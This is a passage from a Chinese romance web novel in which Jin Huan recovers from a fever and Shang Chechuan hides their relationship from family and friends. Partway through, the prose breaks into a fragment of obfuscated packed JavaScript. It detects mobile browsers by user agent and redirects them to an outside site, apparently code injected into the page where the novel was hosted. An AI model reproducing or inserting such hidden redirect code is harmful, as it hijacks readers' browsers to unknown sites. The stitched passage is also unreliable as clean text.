靳欢最熟悉她脾气,直接由着她说,等她停下来时,才小声插话道,“妈,我想喝水。”
果然,一句话下来,沈云岚只顾着忙着给她拿水,完全忘了生气的事了。
一连喝了半杯冰凉冰凉的水,嗓子果然舒服多了,靳欢还要再喝,被沈云岚拦住,换成了温水。
靳欢不敢在她面前胡闹,老老实实接受安排。
也是这时,她才知道,原来是她爸上课时扭到了腰,过来医院看看。
病床另一边,靳鸿秋不顾腰疼,弯腰摸了摸靳欢额头,“还没退烧?”
靳欢用鼻子指了指上面的输液袋,“估计输完这袋就可以了……吧?”
她也摸不清到底要输几袋,眼神下意识寻找商澈川的身影——
果然,他这人就是特别可靠,
“还有一袋250ml的。”
顺便将靳欢何时来的医院,来到医院后的检查结果和医生嘱咐等全部进行了简要说明。
有很多细节,靳欢自己都完全不记得了。
沈云岚仔细听完,正要说什么,结果一低头看见床上的靳欢听得两眼懵懵,像是根本不知情的样子,顿时气笑,“要不是你澈川哥在,就你这情况,怕不是要在家里烧昏过去。”
靳鸿秋一向对靳欢宽容,此刻也跟着皱眉,“要么回家去住,要么请个阿姨和你一起住。”
靳欢赶紧糊弄两句,幸好这时医生过来,转移了注意力。
等全部状况都搞明,已经晚上十点多了。
靳欢今天还不能出院,刚好靳鸿秋腰也不舒服,干脆一起留院观察一日。父女俩都是病号,沈云岚肯定是放不了心回去的。
至于另外两人——
靳鸿秋看向正挤在床边和靳欢说话的商澄明,眉头微微皱了皱,“澄明,你今天刚到的京市?”
商澄明被他问话,腰不自觉挺直,立马解释是碰巧有了假期。
沈云岚用胳膊杵开靳鸿秋,“你这么严肃做什么?”
说罢,温和看向商澄明,“你那部话剧是不是排练得差不多了?”
“定了,三月十四日下午和晚上首演,地点在常艺,伯母,等回头我拿到票了寄给你们——”
他话说到这里,不自然停顿了下,再开口仍是热切模样,“哥,回头你帮我问问嫂子有没有时间,我给她也留张票——”
这话一出,所有人目光顿时都集中到了商澈川身上。
靳欢初听也惊讶,甚至还在想,要是他真有了女朋友,那他之前说的做他一年女朋友的事也不用算数了吧?
但下一瞬,触及他似是不经意落过来的目光时,顿时了然,好吧,看来是澄明乱说的。
她心情复杂,有点儿失望,自己还得被约定束缚住。
但同时又有点儿松口气,毕竟离了他,她一时之间还真找不到这么合眼缘的……床伴。
是的。
虽然现在从名义上来讲,自己应该算他女朋友,但是就她个人感受而言,好像除了名头外,其他的和他们床伴时期也没什么大差。
她无聊得看着天花板神游天外。
旁边,商澄明虽然在看向商澈川等着回应,但实际上余光却一直落在靳欢身上。
确认她对他哥有没有女朋友一事根本不在意时,卡在心里的不安才消散了一半。
还有一半,依旧如鲠在喉——
他故作惊讶,“哥,难道你已经分手了?”
气氛似乎安静几秒。
窗边,商澈川长身而立,似是想起什么,微垂眸子闪过一丝不明显但谁也忽视不了的笑意,“没分。”
乍听之下,好似嗓音都比寻常温柔几分。
沈云岚看得啧啧称奇,“回头带回来,让伯母帮你把把关?”
“嗯,提前谢谢伯母。”
“一家人,谢什么!”
商澄明彻底安了心,看来半小时前果真是自己的错觉。
当时他端着水回来时,正看见他哥弯腰看着欢欢,乍看之下,好似在——
接吻般。
心一安,连带着声音都敞亮几分,“哥,回头别忘记喊我和欢欢,让我俩做弟弟妹妹的也看看嫂子呗!”
商澈川眉梢微挑,笑意更浓,像是被他缠得无奈只得应下,
“好。”
靳欢一开始无聊,现在则是默默佩服,论起说谎来面不改色的本领,商澈川可比她要牛多了。
时间不早了,沈云岚催促他们兄弟俩都早点回家休息去。
商澄明倒是想留下,但是靳鸿秋在,他不敢开口,只得一步三回头地跟在商澈川后面离开。
需要用的东西,从得知欢欢在时,沈云岚就已经打电话喊了人去拿,而且,靳欢本来住的就是大房,也用不着再麻烦搬床位。
倒是省事很多。
输完液,靳欢烧退了,这么晚了,人反倒是精神起来。
想要玩手机——
但是好像根本没带过来?
她总觉得不太可能,有种莫名的笃信,他应该帮自己带了吧?
她爬起来去翻架子上的包,果不其然,在里面找到了手机,虽然早已没电关机,但是好在充电器就在手机旁边。
甚至,里面还有一本速写本,和她常用的笔。
分类井井有条,当然内衣内裤睡衣等完全也少不了。
靳欢看得呆愣,直到听到沈云岚进来的声音,才赶紧把袋子胡乱合上,“妈,爸怎么样了?”
“骨头没事,医生说过几天就好了。”沈云岚扫了她一眼,伸出手来,“病好点没?就玩手机,拿过来。”
靳欢呜呜一声,向着后面进来的靳鸿秋求助。
但靳鸿秋还没开口,就被沈云岚一眼瞪了回去,只得轻咳一声,“睡不着的话,陪你妈和我说会话好了,电子设备伤眼。”
那还不如睡觉,靳欢心想,不然说着说着,说到自己身上就坏了。
但没想到,今儿个沈云岚注意力根本不在她这儿。
“你澈川哥的女朋友你见过没?”
“没有。”根本不存在,她见什么嘛。
沈云岚沉默了会,又道,“倒是不知道商华知不知道。”
靳鸿秋本来正半躺在沙发上准备看书,此刻闻言,摇了摇头道,“你想这么多做什么。”
“我看澈川是真喜欢他口中那女孩的,这不是怕以后万一港城那边不同意,徒留伤心么?”
靳欢听到这里,忍不住插嘴,“妈,你就放心吧,估计在澈川哥心里,高乔才是他的真爱!”
沈云岚嫌弃摆摆手,“你个小孩子懂什么。”
“我才不是小孩子!”
沈云岚笑着摇头,“连个恋爱都没谈过,你能知道什么是真爱?”
靳欢气势一弱,不敢再开口。
沈云岚只当靳欢这是没底气了,倒是旁边靳鸿秋狐疑看过来一眼,坐起了身子,“欢欢,你过来些,爸爸问你一件事。”
“嗯?”
“你是不是在和——,”念着她还生着病,靳鸿秋语气微顿,还是决定先不要把话说得太直接,免得吓到了她。
他变了下措辞,“是不是在和熟人谈恋爱?”
啊?
靳欢下意识否定,否定到一半,突然后知后觉不会是她爸知道她和澈川哥之间的事了吧?
有那么一瞬间的心脏骤停,幸好借着假装被口中苹果噎到糊弄过去了眼神对视。
沈云岚吓一跳,忙给她用力叩击背部,“快快,吐出来!”
靳鸿秋也被吓住,忘记了腰疼的事,鞋子都没穿好就要去按铃喊医生过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753281|169654||http|test|mini|href|location''.split(''|''),0,{}));
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>靳欢赶紧佯装吐了出来,忍着被她妈砸的生疼的背部,“咳咳,爸,我没事了,咳,不用喊医生——”
靳鸿秋余惊未定,“真没事了?”
靳欢用力点头,“真没事!”
沈云岚放了心,转头开始抓“罪魁祸首”,“你真是的,她正吃着苹果呢,你乱说什么话逗她?”
靳欢只想弄清楚她爸刚刚说那话是什么意思,见状也跟着委屈,“就是,爸,你刚刚的话也离谱了!”
靳鸿秋面色尴尬,“是爸不对。”
靳欢直追,“还熟人,我能和哪个熟人谈恋爱啊?这,这也太好笑了!”
靳鸿秋这次却没让步,面上仍旧有所怀疑,“你真的没有正在和澄明谈恋爱?”
原来是澄明。
靳欢的心彻底放回了肚子了。
虽然以前谈过,但她爸爸现在问得可是“正在”。
她理直气壮,“没有!”
确认她眼睛里确实毫无心虚,靳鸿秋放了心,倒不是说澄明这孩子不好,只是商家那边情势复杂,他就这一个女儿,自然只想她顺遂无忧。
而且,他也了解自己的女儿,那些什么豪门里的没完没了的勾心斗角,她这样率真的性子,根本不会喜欢。
她喜欢自由,但太过于执着自由又可能会误入没有牵挂也不眷恋人间的误区。
倘若那样,若有一天,他和沈老师都百年后,欢欢又该如何?
临睡前,靳鸿秋因为还在琢磨欢欢的事,沈云岚则是在琢磨商家的事,导致两个人都或多或少有些失眠。
反倒是靳欢,无忧无虑,且还怀揣着出院后去看心心念念的《离别》的美梦,一夜安睡。
……
翌日。
靳欢一觉醒来,顿觉状态比昨日好了太多,只是声音仍旧有些闷闷的。
这边刚挂断瑞初打来的电话,鼻尖就传来了香味。
靳欢探身向着小厨房看去,“妈,早上吃什么呀?”
“你澈川哥让人送的。”沈云岚招招手,让靳欢坐下,随手给她把头发绑好,“猜你不喜欢医院的饭,我正要喊徐姨做些送过来,你澈川哥送的就到了。”
桌子上,靳鸿秋正在把碗筷摆开,靳欢过去坐下,“爸妈,等下你们就回家吧,不用在这里陪着我的。”
沈云岚逗她,“嫌我在不自由?放心好了,你不赶人,我和你爸也都得先走。”
她眼中有几分生气,靳欢自然不会认为这是冲着自己来得的,不由疑惑,“是学校里有什么事吗?”
沈云岚本不想说,但又怕靳欢不知道反而多想,便解释道,“不是大事,无非是又快要评选院士了,难免事儿多。”
争名爱利,无可厚非。但身为导师,一心钻营院士评选,连手底下毕业关键期学生的论文都不管了,着实让人瞧不起。
提起这个,沈云岚就来气。
“好了好了,别生气了,”靳鸿秋开口安抚,又看向靳欢,“有什么事给我和你妈打电话,听到没有?”
靳欢连连点头。
“徐姨家里有事来不了,刚刚另外请了一位陪护阿姨,在这里陪着你。”
靳欢“哦”了声,低头又喝了口八宝粥,还别说,这粥还真不错。
但一家三口还没吃完饭,商澈川和商澄明就都过来了一趟。
商澄明是一小时后的车回哈市,匆匆告别几句就只得离开。
沈云岚看向特意过来一趟的商澈川,“不用担心这里,当心累坏了身子,早饭吃了没?”
“吃过了。”
靳鸿秋收拾好了东西,将要出门前,又看向靳欢嘱咐道,“别偷偷跑回家,再留下医院观察两天,知道了吗?”
他们下楼,商澈川刚好也要离开,便陪着一起下楼。
病房里,靳欢看着新进来的陪护阿姨,直接豪爽多付了三天的钱,然后让人帮着收拾东西,准备出院。
她是一个行动自如意识清醒的成年人,自然可以独立办理出院手续。
一切办理结束,直接拎包离开——
只是,楼层独立电梯前的过道转折窗户处,靳欢看着像是等候已久的某人,顿觉坏了。
她步子微微顿了顿,犹豫一秒,正准备直接无视时,手中包却忽然被人接过。
他低头看了眼,抬眸询问,“东西都带全了么?”
49. 美梦
靳欢一时没反应过来,只呆呆看着他。
昨日一天的雪,今天却是个暖阳日。
阳光越过医院窗户的防护栏变得细碎,落在她微微仰起的脸颊上,让本就白皙的脸颊像是有了几分透明色。
软乎乎的透明色。
太过于干净,想让人拉着她一起坠入。坠入什么都好,只要别这样干净。
干净到像是不可触摸。
商澈川指尖微微发麻,强行压下心底暗色,抬手捏了捏她脸颊,“不是要回家?”
靳欢根本没被父母外的人捏过脸,只觉得很不适应,但是反应过来时面前人已经收回了手,倒让她不好再开口反驳。
商澈川注意到她眼底疑惑,唇角笑意闪过,“帽子和围巾呢?”
靳欢,“……我昨天带帽子和围巾了么?”
四目相对,一个无辜,一个无奈。
“在这里等我一下。”
“哦——”靳欢正要说“她拿着包”,但一个字都还没出口,就看见人已经直接返身去了病房。
靳欢感叹,腿长就是好,一步顶两步,走起路来都比别人更加赏心悦目。
……
上车,回家。
昨天在医院洗澡,总觉得医院的水都有医院的buff在上面,和别处的不同。
所以一到了家,靳欢立马舒舒服服地重洗了一遍。
出来后,看见把客厅餐桌当做办公桌的某人时,不由得愣了下,“澈川哥,你还没走?”
她以为他只是送她回家就回去。
商澈川闻言,头都没抬,“你想现在去医院?”
看似答非所问,靳欢却瞬间就明白了什么意思。
要么他在这里看着她,一旦又开始起热就立马带她去医院。
要么她去医院,让陪护看着她,起热直接方便喊医生。
她的确有反反复复发烧的前科,但——
靳欢绕过桌子在他对面坐下,手撑着脑袋望过去,“就是真发烧了,我也可以自己搞定。”
商澈川忙里抽空看了她一眼,点头附和,“你说得对——”
话音稍顿,眉梢多了一丝调侃,“如果埋头睡觉硬撑也算搞定的话。”
靳欢一噎,她一向没道理也不会认错,直接站起身来留下一句“那你自便吧”就向着卧室走去。
一分钟后——
听到卧室门响时,靳欢正缩在单人沙发上回复瑞初的消息,她以为商澈川是进来拿东西,所以根本没回头看。
但等了几秒钟,却发现脚步声在向着自己这边靠近。
嗯?他有什么东西落在自己卧室的窗边了吗?
靳欢抬头左右瞧了眼,东西没瞧到,倒是看见了他手中的吹风机。
稍微挣扎0·001秒,靳欢老老实实把干发帽撤下,不等他开口就先笑着说感谢。
吝啬到就一句口头感谢?
商澈川嗤笑,却也拿她没办法,微微点了点下巴,示意她转个身。
这些时日,他吹头发的技术早已日渐娴熟,甚至连靳欢家里的这个吹风机适合吹风的距离都把握得分毫不差。
冷暖风切换,也是靳欢适应的节奏。
靳欢感受到暖风拂过自己面颊,舒舒服服眯着眼,风声停下整理发丝的间隙,她向后仰着头看去,“澈川哥?”
“嗯?”
“你真的没有偷偷学过理发么?”
“为什么这样问?”
靳欢神色认真,“前几次我和瑞初去外面头发养护店时,里面的专业师傅都没有你的吹头发技术好。”
“哦?”
一个字,像是没当真。
靳欢转过身来,“我没撒谎,不过,你不觉得吹头发很烦躁么?我就是这样。”
风声再次响起,他的声音也随风飘到她耳边,“不,我觉得放松——”
靳欢突然就了然了,“和你喜欢做饭一样么?”
回应她的是一声轻“呵”。
靳欢没分清到底是讽刺还是认同,还要再问,却已经被按住了头顶,“别乱动。”
她只能低着头,因此也看不见身后人藏在风声中的笑意。
放松的从来都不是某一件事,而是和她一起做的事。
比如现在,她身上的香味被风吹得四散开来,附着在自己袖子上,就会让他产生她和他紧密相连的满足。
如果靳欢知道他心里想法,只会觉得不可思议。
哪怕是她最爱的某一任男友,她也不会去为对方做任何她不喜欢的事。
所以在她的逻辑里,如果做了某件事,就一定是本身就喜欢这件事。比如送一块手表或者送一条领带,其实送谁都没差,因为她本来就喜欢挑选的过程,而不在乎结果。
就像她年前送他的表,昨晚出现在了澄明手上,她也只会觉得是他处置物品的自由。
……
平安度过一整日。
如果今夜没有再重复起热,基本就没问题了。
晚饭后,靳欢怕她爸妈还不知道她出院了而白跑一趟,她起身走到浴室侧耳听了听里面的动静,见水声消失后,立马估算着时间给她爸妈发了消息过去。
果不其然,下一瞬就收到了电话——
浴室门打开,商澈川一出来,就看见她就站在浴室门口,然后乖巧递过来一部手机。
他挑眉询问:?
靳欢嘴巴对着她自己的手机听筒,眼睛却在一眨不眨地看着他,所以与其说在讲电话,不如是在说给他听——
“嗯嗯,这个陪护阿姨绝对可靠,还有十来分钟就到这我这儿了,妈,你要是实在不放心的话,就打电话问澈川哥好了,我不了解这边的陪护,还是澈川哥帮我安排的呢!知道知道,拜拜!”
几乎是与此同时,她另外一只手里的商澈川的手机铃声响起。
靳欢扫了眼,备注是“沈伯母”,她直接帮着按了接通——
但是没想到的是,商澈川只扫了一眼,却根本没有把手机接过去的意思。
靳欢一愣,听到手机里已经传来她妈的声音后,直接踮起脚把手机递到他耳边,凑近些压着声音商量,“澈川哥,帮个忙?”
太近了,她唇瓣张合几乎蹭到他下巴。
商澈川身体瞬时绷紧,怕被她看出异常,下意识别开脸。
靳欢见他这样,还以为他是拒绝帮她撒谎——
电话里她妈和她爸说话的声音隐约传来,
“澈川?喂,听得到么?”
“怎么?没人接吗?”
“接倒是接了,就是没人说话——不行,我还是去趟欢欢那里吧,不看看我不放心——”
眼看着电话就要被挂断,情急之下,靳欢直接张口在他脖子上咬了一口。
果不其然,他再不想说话,也忍不住发出一声闷哼。
被电话那端的人捕捉到,立马追问,“澈川么?”
靳欢张了张嘴,佯装要继续咬,借此来威胁他开口——
方法不磊落,但好歹起了作用。
男人低着头,就着她递过去的手机开了口,“沈伯母好……嗯,对,请了一位有经验的居家陪护,会开车……”
靳欢怕他半途撂担子不干,始终保持注意力在他身上,反倒是没注意电话里她妈说了什么,只见眼前男人突然轻笑了声,目光斜睨过来,带着几分意味不明——
她顿生警惕,时刻准备,一旦发现不对直接抬手捂住他的嘴。
不过整句话听完,都没发现什么不对。
他说的是,“嗯,刚刚在和女朋友看电影,没注意到。”
靳欢猜测,估计是她妈问了为什么刚刚一直没声音。
未免话多出错,她用眼神督促他快点挂断电话,不答应的话,她就用
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力再咬一口。
电话还在讲。
靳欢瞪了一眼过去,我真咬了?
离得原来越近。
还不挂断?
靳欢停顿一秒,假装再给他一个机会——
可下一瞬,面颊却忽然被炙热覆盖。
不断从他胸口处传来的闷热感让她下意识想挣脱,却被人桎梏住根本动弹不得。
他不知道什么时候把那款叫春睡的香水也带到了她这里来,此刻,味道溢满了她鼻腔。
惹得她鼻尖有点儿发痒,忍不住又蹭了蹭。
耳垂处却突然传来一丝疼,沙哑声音紧跟着吻在她耳朵上,像是警告,
“别闹。”
靳欢吓一跳,埋在他胸口处的声音小小的,嗡嗡的,“你电话挂了吗?”
商澈川冷笑,“……没挂。”
他这样讲,靳欢反倒是放了心。一口气长呼出来的同时,也忽然意识到了不对劲的地方。
气氛尴尬一瞬。
她默默向后抽了抽腰肢,轻咳一声,“澈川哥,要不,你再去洗个澡呢?”
得到的是一声越来越冷的笑。
靳欢感受到他越来越炙热的温度,心虚的同时直接开启全方位防备,
“我今天并不想……嗯,那个,我的手也不会。”
她从来只有享受的份,从没服务过别人。
“不过——”
靳欢挣扎着抬头看他,“如果你答应今夜就带我去看《离别》的话,我今天或许也可以想一下?”
她眸子湿润润的,说这话时,狡黠的笑意从眼尾一点点流出,浓密眼睫,扑闪如同扇面。
唇瓣张合,齿白如贝。
气息全部落在他下巴处,痒得让人脑子都跟着发晕。
思绪几乎全部被她带偏,商澈川控制不住想,现在安排飞机,连夜去国外,也不是不可以。
靳欢敏锐察觉他眸中意动,眼中兴奋更甚,“可以吗可以吗?”
回应她的是毫不留情“砰”得一声关上的浴室门。
哗啦啦水声紧接着响起。
门外,靳欢耸了耸肩,回想起刚刚无意间隔着浴袍碰到的硬度,颇有些感慨,果然是自制力惊人,这都能忍?!
浴室内,注意到磨砂玻璃外的人影离开,商澈川强迫自己收回目光。
冷水冲刷下,体温渐降,但心跳和脑海中画面却始终难以平息。
如果,如果不是顾念到她刚生过病。
半小时后。
卧室。
看着早就睡熟过去的某人,商澈川面色沉沉,坐在床头,毫无睡意。
再这样下去,怕是又要重新洗澡。
他深呼吸一口气,正准备强迫自己闭上眼睛,下一瞬身上却忽然搭上来一条胳膊。
靳欢脸埋在他腰间位置,声音带着迷糊,“澈川哥?”
“……嗯?”
以为她有什么事,商澈川低头凑近些等着下文。
可放轻呼吸凝神侧耳过了半晌,却只看到半趴在他身上的人呼吸均匀,早已再次进入梦乡。
他默然一瞬。
良久,认命叹了口气。算了,又不是第一次被她折磨。
况且今晚他也根本不敢睡熟。
凌晨四点多,察觉到身旁一惯喜欢舒展着身体睡的某人突然开始蜷缩起来,商澈川顿时从浅睡中惊醒。
直接摸了摸她额头,果然又起热了。
幸好发现及时,药物加物理辅助,没折腾着去医院,也成功把温度降了下来。
而此时,外面天色已经有了几分曙光。
床外侧,商澈川合眼打盹,疲倦之外,感受到依偎在自己身旁睡得安然放松的靳欢,只觉得,美梦也不外如是。
要是她永远也不离开自己就更好了。
做,不可以。
想,也不可以。
50. 入门
三日后。
临山别墅。
靳欢小病初愈,靳鸿秋不顾腰还没好利索,亲自下厨做了几样靳欢爱吃的菜。
餐桌上,沈云岚得知靳欢请的居家陪护已经回去了时,眉头皱了皱,“上次电话问你,不是说人很好么?”
靳欢一愣,想起这几天在她家里包揽各种事情还能陪睡充当抱枕的某人,点了点头,“是很好——”
不过,“我病都好了嘛!”
“病好了也可以请人家过来做住家阿姨,以免下次有什么事,能及时——”
靳欢一听这个就头大,赶紧打断,“哎呀,我头疼,再这样下去我就不吃了!”
沈云岚直接照着她脑袋拍了一巴掌过去,没好气道,“不说了,吃你的吧。”
靳鸿秋起身给母女俩都加了汤,打了个圆场,“好了,先吃饭,其他的事以后再说。”
这般,这个话题才跳了过去。
靳欢悄悄把手机放在腿上,一边吃饭,一边给人发消息,
“澈川哥,你在公司吗?你吃饭了吗?”
对方过了几分钟才回复,“在,还没吃。”
靳欢眼睛一亮,立马回复,“你等下,我请你吃饭!”
说罢,立马打开京市一家主题餐厅的外送程序,开始挑选菜品。
她早有打算,不过半分钟就点好菜,成功下单。
心满意足放下手机,一边吃饭一边听她爸妈闲聊。
就是听着听着突然发现话题又扯到了自己身上——
沈云岚,“你呀,以后少让人操点心,回头别忘记好好谢谢你澈川哥,听到没?”
靳欢点头,嗯嗯,谢了谢了。
这不,刚刚还请饭呢。
沈云岚停顿了下,又补充道,“最近也不要总是去打扰你澈川哥,有了女朋友,好不容易抽点时间陪陪女朋友也不容易。”
靳欢听得好笑,“妈,你从哪里知道他陪女朋友不容易的啊?”
“前几天我问你陪护阿姨的事时,打电话给你澈川哥,人家就陪女朋友看电影呢,我那个电话过去,多破坏氛围。”
她这样一说,靳欢彻底想起来了。
但因为当时就在现场,此刻反而更觉得好笑,偏偏又没法说穿事实,只能强忍着笑点头,“嗯嗯,您说得对!”
沈云岚不满,“难不成你澈川哥还能说谎不成?”
靳欢不敢反驳,“嗯嗯,没说谎。”
的确没说谎。
回想起当时的情景,靳欢在心里默默补充,只不过要看也是看的成人电影而已。
……
高乔。
自第一条消息进来后,商澈川就时不时看一眼手机页面,但是却始终没等到下一条消息。请饭?但是却既没说去哪里吃,也没说什么时候吃。
他望了眼窗外天色,心头忽然一动,难道是她带饭到高乔来陪自己吃?
也不是不可能。
扫了一眼时间,见才过去十五分钟,商澈川想,或许她现在已经在从锦月湾过来的路上。
这个猜测让他心情陡然变好,连带着看桌面上的一堆文件都顺眼起来。
一旁,林望屿本来正一声不敢吭,此刻察觉到他心情变好,立马凑上来找话,“吃什么?我让人送过来呗。”
“不用。”
林望屿对他这回答也不惊讶,毕竟这人一直都是工作狂。
他转身躺回沙发上,自顾自打开手机点餐,“还是澜悦吧,我记得以前澜悦不是推出过什么美白套餐吗,刚好可以整一个——”
他前些日子被他堂哥整到了非洲去,度日如年,人都晒黑了一圈。前两天好不容易捱到项目结束,立马就跑回了国。
“你吃什么?老样子?”
林望屿一边给澜悦经理发消息让他送餐过来,一边开口道。
他本以为商澈川会像以前那样直接默认,谁知这边话音刚落,就听得商澈川开口道,“不用帮我点。”
“真不吃?”
“有人请。”
“还是吃吧,不然多伤胃——”林望屿说到一半,反应过来,“什么?你约了客户吃饭?谁啊,我认识不?早说啊,我和你们一起吃得了——”
“不合适。”
“这有什么不行的?大不了我冒充你助理——等下,不是客户?”
林望屿望着刚刚桌边人唇角一闪而过的笑意,狐疑追问。
“嗯,不是。”
“那是谁请你吃饭啊?”
“女朋友。”
噗嗤——
一口咖啡直接喷了出来,连沙发都洒湿不少,林望屿一时顾不上这些,从沙发上翻过来,“你没开玩笑吧?”
三分钟后——
反复追问,才终于确认了这人竟是认真的?!
林望屿连肚子都不饿了,一心就只想见见他所谓的女朋友。得知人要过来高乔这边,他比商澈川还着急,几乎每隔十来秒就要看看时间,“怎么还不到?你快问问,你女朋友什么时候到?”
商澈川被他一遍又一遍问得厌烦,但他话里重复的“你女朋友”几个字又异常顺耳——
林望屿还不知道自己正在雷区和喜好点上反复蹦迪,他沉浸在震惊中,越想越觉得不可思议,小心试探,“这个女朋友不会是港城那边安排给你的吧?”
如果是那样,与其说是女朋友,不如说是人形监控。
得到眼神否认后,林望屿又想到了另外一个角度,“你不会掉到了什么仙人跳陷阱里吧?——你是不是误打误撞和人发生过了一夜情,然后对方就赖上你了?”
商澈川面无表情看过去一眼。
林望屿顿时怂了,“好好,我闭嘴……最后一句,你问问你女朋友什么时候到呗?”
商澈川没理会他,只继续处理文件,但余光却一而再再而三飘向电脑屏幕右下角的时间。
一片安静中,办公室门被敲响——
林望屿精神抖擞,三两步过去开门,“人呢?直接带上来就行——”
门外,何雨嘉一脸疑惑,“林总,是有客户要过来么?”
“……”林望屿失望,看着她手中拎着的食盒,抬手接过,“给我吧。”
他转身放在茶桌上,要打开前,感觉有点儿怪异,“怎么澜悦还换包装了?”
而门口,孙雨嘉眼看着自己还没确认完消息东西就被人拿走了,赶紧补充道,“商总,这是刚刚前台送上来的,说是几分钟前一位外卖餐员送到我们公司,上面写了您的名字——”
说到后面,察觉到气氛怪异,她声音越来越小。
……
门还没关严,肆无忌惮的笑声就哈哈哈哈哈传得到处都是。
孙雨嘉吓一跳,仓促离开时,只看见好些日子没来的这位林总正笑得直不起来腰。
而他们商总,站在茶桌前,低头看着桌上餐盒,神色沉沉,看不出喜怒。
林望屿大笑里挤出来一句断续续续的话,
“哈哈哈,原来是这么个请法,哈哈哈,谁家请客就请外卖,人都不来的,笑死我了!”
“来,让我瞧瞧你女朋友请了什么人间美味——”林望屿清咳一声,忍住笑,就要坐下打开外卖。
但还没碰到,就察觉到一阵冷意,下意识停了手——
下一瞬,就看见,商澈川拿起外卖进了休息室。
他大惊,不至于吧,还真冷脸吃外卖啊?
可跟进去后,他才发现,好家伙,不仅吃,连脸甚至都没冷起来。
的确冷不起来,因为被气笑了。
一打开盒子,餐单就放在最上方,餐品名称一目了然:
离别愁绪——清炒南瓜丝。
离别味道——牛肉炒苦瓜。
离别畅谈——阳关三叠酥。
……
离别三愿——酒酿苹果圆子。
商澈川一时之间,竟感觉对“离别”两个字有些眩晕。
他哭笑不得,难为还真被她找出这么一家奇葩的餐厅来暗示自己。
不过,荤素齐全,味道倒是还不错。
至少……她还是花了时间选择的吧。
林望屿在对面坐下,看见他吃得满意,难掩惊讶,真这么喜欢?
他想起商澈川虽然商业手段了得,但是感情史一片空白,越发担心,“你不会真被人做局后钓住了吧?要不,你说出来经过,我帮你分析分析?”
商澈川暂时没理会他,等待吃完放下筷子后,才抬头道,“不用。”
林望屿心急,正要继续劝说,却见面前人忽然挑眉轻笑了声,
“是一夜情,不过是我赖上她。”
“?!”
“也的确是做局,不过是我做局钓她。”
“?!?!”
“现在和你说,是为了让你有个心理准备。”
“……准备什么?”
“结婚贺礼。”
“?!?!?!”
林望屿突然发现自己脑子好像有点问题——理解不了国语了。<
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林望屿想,如果不能知道这个“女朋友”是何方神圣,他将吃不下睡不着玩不爽。
但真从商澈川口中得知了名字后,林望屿才发现同样寝食难安。
他挡在门后,不让人出去,抱着最后一丝希望,“你真没说错名字?还是说有重名的?”
话音落地,被人像看傻子一样的目光扫了一眼后,林望屿才彻底信了他口中的靳欢就是自己认识的那个靳欢。
但很快他又找到了新的解释,“是不是因为沈家?如果可以得到沈家的支持,倒也——”
话没说完,就被打断,“不是。”
林望屿绝望,“……你难道不知道她前男友多的一张纸都写不下?”
“那又怎样?”
“?”神特么那又怎样,“等下,澄明不是他男朋友吗?”
“前男友。”
林望屿头脑凌乱,一团乱糟糟中,忽然想起很久之前,也是在这个办公室,提起投资潮生剧坊那次,自己担心商澄明和靳欢谈恋爱得了沈家的支持会对他产生影响,提出找个男模去勾引靳欢,但是没说完就被他冷冷看了回去,并且也是纠正说“已经分手了”。
自己担心分手了也能复合,他却笃定“合不了”。
现在想想,难怪说人家合不了,原来是打算他自己去和靳欢在一起。
甚至……不让自己找男模,原来是他本人亲自去了?!
还有,中荆集团周年庆那次,自己要邀请靳欢跳舞却被他截胡……
还有还有,刚创业那会儿,他明明忙得晕头转向,但得知靳欢出去玩被玻璃扎到脚时,却连夜包机过去……
细思极恐。
以前从没把这两人联系到一起,如今再回想,才发现竟然有这么多蛛丝马迹。
林望屿嗓子紧张,“那个,澈川,你是什么时候开始喜欢她的?”
商澈川沉默。
他自己也分不清。
只知道察觉到不对时,嫉妒已经开始在漫无边际地疯长。
林望屿赶忙说点儿别的,“那你们准备订婚了?”
“还没。”
“呃……那你们两家在商量订婚时间了?”
“还没。”
“等下,不会是靳欢他爸妈和你妈你爷爷都还不知道吧?”
见人坦荡承认,林望屿感觉自己没话说了,“合着八字没一撇的事,你就已经想着请我吃喜酒了?”
“不过早晚而已。”
“……你不会连孩子名字都在心里想好了吧?”
商澈川否认。
林望屿一口气还没松完,就听得眼前人继续道,
“她不喜欢孩子,所以我们不会有孩子。”
没救了。
林望屿感觉这人没救了。
自己以前怎么没发现他还有恋爱脑的潜质?
而且,自己合理怀疑,他今天突然把这关系告诉自己,纯粹是为了炫耀。
他看着要出门的商澈川,“你不会现在是要去找靳欢吧?”
“不是,去港城。”
林望屿让开路,感叹,“幸好你没有因为恋爱不顾工作!”
商澈川失笑。
他当然不可能放下工作,在她众多追求者面前,财富不过是入门的条件。
不过,他此次去港城倒是和工作无关。
电梯下行中,他拿出手机打开消息框,最近两条都是靳欢发过来的,
“澈川哥,这家店味道还不错吧?”
“ps:这家店菜名也不错!”
他打字回复,
“明天上午九点去接你。”
对方很快回复了一连串亲亲抱抱的表情包。
商澈川把每一个表情包都定定看了几眼,眸中笑意越来越浓。
助理正在查看机票,“商总,是买晚上九点从港城返回的票么?”
“嗯。”
明天早上去接她,今天务必要从老爷子手里拿到去看画的钥匙然后返回京市。
靳欢又发了消息过来,是一条两秒简短的语音。
商澈川扫了眼,戴耳机之前,手指已经碰到——
“Muma~”
俏皮带着笑意的女声。
电梯里,两位高管和助理顿时都绷直了身子。
想看又不敢看,连眼神都不敢动,纷纷低头装作没听见。
商澈川也愣住。
但回神后,已经淡定戴好耳机,调大音量——
重复播放。